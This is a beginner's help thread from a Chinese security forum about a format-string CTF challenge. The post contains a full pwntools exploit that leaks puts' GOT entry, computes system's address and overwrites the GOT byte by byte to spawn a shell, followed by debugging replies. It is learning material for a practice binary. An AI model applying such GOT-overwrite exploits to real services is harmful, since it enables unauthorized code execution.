首页
社区
课程
招聘
[求助]萌新学习格式化遇到的问题
发表于: 2018-5-26 17:35 4005

[求助]萌新学习格式化遇到的问题

2018-5-26 17:35
4005
看的是安全课上的一道格式化的题目,链接题目的第一个例题
自己跟着逻辑编写了exp:
#!/usr/bin/env python
from pwn import *

context.log_level = 'debug'

elf = ELF('pwn3')
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')

pr = process('./pwn3') 
username = "rxraclhm"

pr.recvuntil("Name (ftp.hacker.server:Rainism):")
pr.sendline(username)

# 1 -> get
# 2 -> put
# 3 -> dir
# other -> exit

def put(pr, name, content):
    pr.recvuntil("ftp>")
    pr.sendline('put') 
    pr.recvuntil("upload:")
    pr.sendline(name)
    pr.recvuntil("content:")
    pr.sendline(content)

def get(pr, name, num):
    pr.recvuntil("ftp>")
    pr.sendline('get')
    pr.recvuntil('get:')
    pr.sendline(name)
    return pr.recvn(num)

def dir(pr):
    pr.recvuntil("ftp>")
    pr.sendline('dir')

plt_puts = elf.symbols['puts']
print 'plt_puts= ' + hex(plt_puts)
got_puts = elf.got['puts']
print 'got_puts= ' + hex(got_puts)

# /bin/sh
put(pr, '/sh', '%8$s' + p32(got_puts))
text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)

def foo(name, address, num):
    num = num & 0xff
    if num == 0 : num == 0x100
    payload = '%' + str(num) + 'x%10$hhn'
    payload = payload.ljust(12, 'A') 
    put(pr, name, payload + p32(address))
    get(pr, name, 0)

foo('n', got_puts, system_addr)
foo('i', got_puts+1, (system_addr>>8))
foo('b', got_puts+2, (system_addr>>16))
foo('/', got_puts+3, (system_addr>>24))

put(pr, '/sh', '%8$s' + p32(got_puts))
text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
# system("/bin/sh")
dir(pr)
pr.interactive()

但是依旧是EOF无法提权,解决了两次问题,第一个是提供的libc文件不匹配,于是我在libc-database里找到了相应的libc,如代码中所示。


第二个担心是自己覆写puts的got表不正确,作了输出确保正确覆写为system的地址。
但是依旧无法成功getshell。求助。




[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
2
用gdb  attach  调一下
2018-5-28 06:12
0
雪    币: 237
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
嗯,跟了一下发现最后的一字节没有跳转成功,偏差了6.已经解决
2018-5-28 19:17
0
游客
登录 | 注册 方可回帖
返回
//